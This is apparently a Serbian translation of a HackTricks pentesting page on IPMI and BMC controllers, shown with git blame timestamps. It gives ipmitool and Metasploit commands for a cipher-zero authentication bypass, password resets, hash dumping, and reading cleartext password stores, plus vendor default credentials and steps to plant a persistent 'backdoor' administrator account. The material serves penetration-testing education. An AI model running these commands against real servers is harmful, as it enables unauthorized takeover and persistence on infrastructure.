hacktricks/network-services-pentesting/623-udp-ipmi.md

147 lines
10 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
2022-05-01 16:57:45 +00:00
## 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-03 10:42:55 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:11:20 +00:00
## Osnovne informacije
2024-02-10 13:11:20 +00:00
### **Pregled IPMI-ja**
2022-10-02 21:10:53 +00:00
2024-02-10 13:11:20 +00:00
**[Inteligentni interfejs za upravljanje platformom (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** nudi standardizovan pristup za daljinsko upravljanje i nadgledanje računarskih sistema, nezavisno od operativnog sistema ili stanja napajanja. Ova tehnologija omogućava sistem administratorima da upravljaju sistemima daljinski, čak i kada su isključeni ili neodzivni, i posebno je korisna za:
2022-10-02 21:10:53 +00:00
2024-02-10 13:11:20 +00:00
- Konfiguracije pre pokretanja operativnog sistema
- Upravljanje isključivanjem
- Obnova nakon neuspeha sistema
2022-10-02 21:10:53 +00:00
2024-02-10 13:11:20 +00:00
IPMI je sposoban da nadgleda temperature, napon, brzinu ventilatora i napajanja, kao i da pruža informacije o inventaru, pregleda logove hardvera i šalje upozorenja putem SNMP-a. Za njegov rad su neophodni izvor napajanja i LAN veza.
2022-10-02 21:10:53 +00:00
2024-02-10 13:11:20 +00:00
Od svog predstavljanja od strane Intela 1998. godine, IPMI je podržan od strane brojnih prodavaca, poboljšavajući mogućnosti daljinskog upravljanja, posebno sa podrškom verzije 2.0 za serijski preko LAN-a. Ključni komponenti uključuju:
2024-02-10 13:11:20 +00:00
- **Baseboard Management Controller (BMC):** Glavni mikrokontroler za IPMI operacije.
- **Komunikacione magistrale i interfejsi:** Za internu i eksternu komunikaciju, uključujući ICMB, IPMB i različite interfejse za lokalne i mrežne veze.
- **IPMI memorija:** Za skladištenje logova i podataka.
2024-02-08 21:36:35 +00:00
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
2024-02-10 13:11:20 +00:00
**Podrazumevani port**: 623/UDP/TCP (Obično se koristi UDP, ali može se koristiti i TCP)
2024-02-10 13:11:20 +00:00
## Enumeracija
2024-02-10 13:11:20 +00:00
### Otkrivanje
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
2024-02-10 13:11:20 +00:00
Možete **identifikovati** verziju koristeći:
```bash
use auxiliary/scanner/ipmi/ipmi_version
2022-10-02 21:10:53 +00:00
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
2024-02-10 13:11:20 +00:00
### IPMI Ranjivosti
2024-02-10 13:11:20 +00:00
U domenu IPMI 2.0, otkrivena je značajna sigurnosna propustljivost od strane Dana Farmera, koja otkriva ranjivost putem **šifarskog tipa 0**. Ova ranjivost, detaljno dokumentovana na [Dan Farmerovom istraživanju](http://fish2.com/ipmi/cipherzero.html), omogućava neovlašćeni pristup sa bilo kojom lozinkom, pod uslovom da je ciljani korisnik validan. Ova slabost je pronađena na različitim BMC-ovima od proizvođača kao što su HP, Dell i Supermicro, što ukazuje na široko rasprostranjenu problematiku unutar svih implementacija IPMI 2.0.
2024-02-10 13:11:20 +00:00
### **IPMI Bypass autentifikacije putem šifre 0**
2024-02-08 21:36:35 +00:00
2024-02-10 13:11:20 +00:00
Da biste otkrili ovu manu, možete koristiti sledeći Metasploit pomoćni skener:
2024-02-08 21:36:35 +00:00
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
2024-02-10 13:11:20 +00:00
Eksploatacija ove greške je moguća pomoću `ipmitool`-a, kao što je prikazano u nastavku, omogućavajući listanje i izmenu korisničkih lozinki:
```bash
2024-02-08 21:36:35 +00:00
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
2024-02-10 13:11:20 +00:00
### **IPMI 2.0 RAKP Autentifikacija - Preuzimanje udaljenog heša lozinke**
2024-02-10 13:11:20 +00:00
Ova ranjivost omogućava preuzimanje soljenih heširanih lozinki (MD5 i SHA1) za bilo koji postojeći korisnički nalog. Da biste testirali ovu ranjivost, Metasploit nudi modul:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
2024-02-10 13:11:20 +00:00
### **IPMI Anonimna Autentifikacija**
2024-02-10 13:11:20 +00:00
Podrazumevana konfiguracija u mnogim BMC-ovima omogućava "anonimni" pristup, koji se karakteriše praznim korisničkim imenom i lozinkom. Ova konfiguracija može biti iskorišćena za resetovanje lozinki korisničkih naloga koji imaju imena koristeći `ipmitool`:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
2024-02-08 21:36:35 +00:00
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
2024-02-10 13:11:20 +00:00
### **Supermicro IPMI lozinke u čistom tekstu**
2024-02-10 13:11:20 +00:00
Kritičan dizajnerski izbor u IPMI 2.0 zahteva skladištenje lozinki u čistom tekstu unutar BMC-a u svrhu autentifikacije. Supermicro-ovo skladištenje ovih lozinki na lokacijama poput `/nv/PSBlock` ili `/nv/PSStore` izaziva značajne sigurnosne probleme:
```bash
2024-02-08 21:36:35 +00:00
cat /nv/PSBlock
```
2024-02-10 13:11:20 +00:00
### **Supermicro IPMI UPnP Vulnerabilnost**
2024-02-10 13:11:20 +00:00
Uključivanje Supermicro UPnP SSDP slušača u IPMI firmware, posebno na UDP portu 1900, predstavlja ozbiljan sigurnosni rizik. Ranjivosti u Intel SDK za UPnP uređaje verzije 1.3.1, kako je detaljno opisano u [Rapid7-ovom otkrivanju](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), omogućavaju pristup root nalogu BMC-a:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
2024-02-08 21:36:35 +00:00
### Brute Force
2024-02-10 13:11:20 +00:00
**HP nasumično generiše podrazumevanu lozinku** za svoj proizvod **Integrated Lights Out (iLO)** tokom proizvodnje. Ova praksa se razlikuje od drugih proizvođača koji obično koriste **statične podrazumevane akreditive**. Pregled podrazumevanih korisničkih imena i lozinki za različite proizvode je sledeći:
2024-02-10 13:11:20 +00:00
- **HP Integrated Lights Out (iLO)** koristi **fabrički generisanu nisku od 8 karaktera** kao podrazumevanu lozinku, što pokazuje veći nivo bezbednosti.
- Proizvodi poput **Dell-ovog iDRAC-a, IBM-ovog IMM-a** i **Fujitsu-ovog Integrated Remote Management Controller-a** koriste lako pogodne lozinke poput "calvin", "PASSW0RD" (sa nulom) i "admin" redom.
- Slično tome, **Supermicro IPMI (2.0), Oracle/Sun ILOM** i **ASUS iKVM BMC** takođe koriste jednostavne podrazumevane akreditive, pri čemu su njihove lozinke "ADMIN", "changeme" i "admin" redom.
2024-02-10 13:11:20 +00:00
## Pristupanje Hostu putem BMC-a
2024-02-10 13:11:20 +00:00
Administrativni pristup Baseboard Management Controller-u (BMC) otvara različite puteve za pristup operativnom sistemu hosta. Jednostavan pristup uključuje iskorišćavanje funkcionalnosti BMC tastature, video zapisa i miša (KVM). To se može postići ili ponovnim pokretanjem hosta do root ljuske putem GRUB-a (korišćenjem `init=/bin/sh`) ili pokretanjem sa virtuelnog CD-ROM-a postavljenog kao spasilački disk. Ove metode omogućavaju direktno manipulisanje diskom hosta, uključujući umetanje zadnjih vrata, izvlačenje podataka ili bilo koje neophodne radnje za procenu bezbednosti. Međutim, to zahteva ponovno pokretanje hosta, što je značajan nedostatak. Bez ponovnog pokretanja, pristupanje pokrenutom hostu je složenije i razlikuje se u zavisnosti od konfiguracije hosta. Ako je fizička ili serijska konzola hosta ostala prijavljena, lako je preuzeti kontrolu putem BMC-ovih KVM ili serijsko-preko-LAN (sol) funkcionalnosti putem `ipmitool`-a. Istraživanje iskorišćavanja deljenih hardverskih resursa, poput i2c magistrale i Super I/O čipa, je oblast koja zahteva dalje istraživanje.
2024-02-10 13:11:20 +00:00
## Uvođenje zadnjih vrata u BMC sa hosta
2024-02-10 13:11:20 +00:00
Nakon kompromitovanja hosta opremljenog BMC-om, **lokalno BMC sučelje može se iskoristiti za umetanje korisničkog naloga zadnjih vrata**, stvarajući trajno prisustvo na serveru. Ovaj napad zahteva prisustvo **`ipmitool`-a** na kompromitovanom hostu i aktivaciju podrške za BMC drajvere. Sledeće komande ilustruju kako se novi korisnički nalog može ubaciti u BMC koristeći lokalno sučelje hosta, što zaobilazi potrebu za autentifikacijom. Ova tehnika se može primeniti na širok spektar operativnih sistema, uključujući Linux, Windows, BSD i čak DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
2022-05-01 16:57:45 +00:00
## Shodan
2020-10-05 13:04:03 +00:00
* `port:623`
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
## Reference
2022-10-02 21:10:53 +00:00
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-03 10:42:55 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>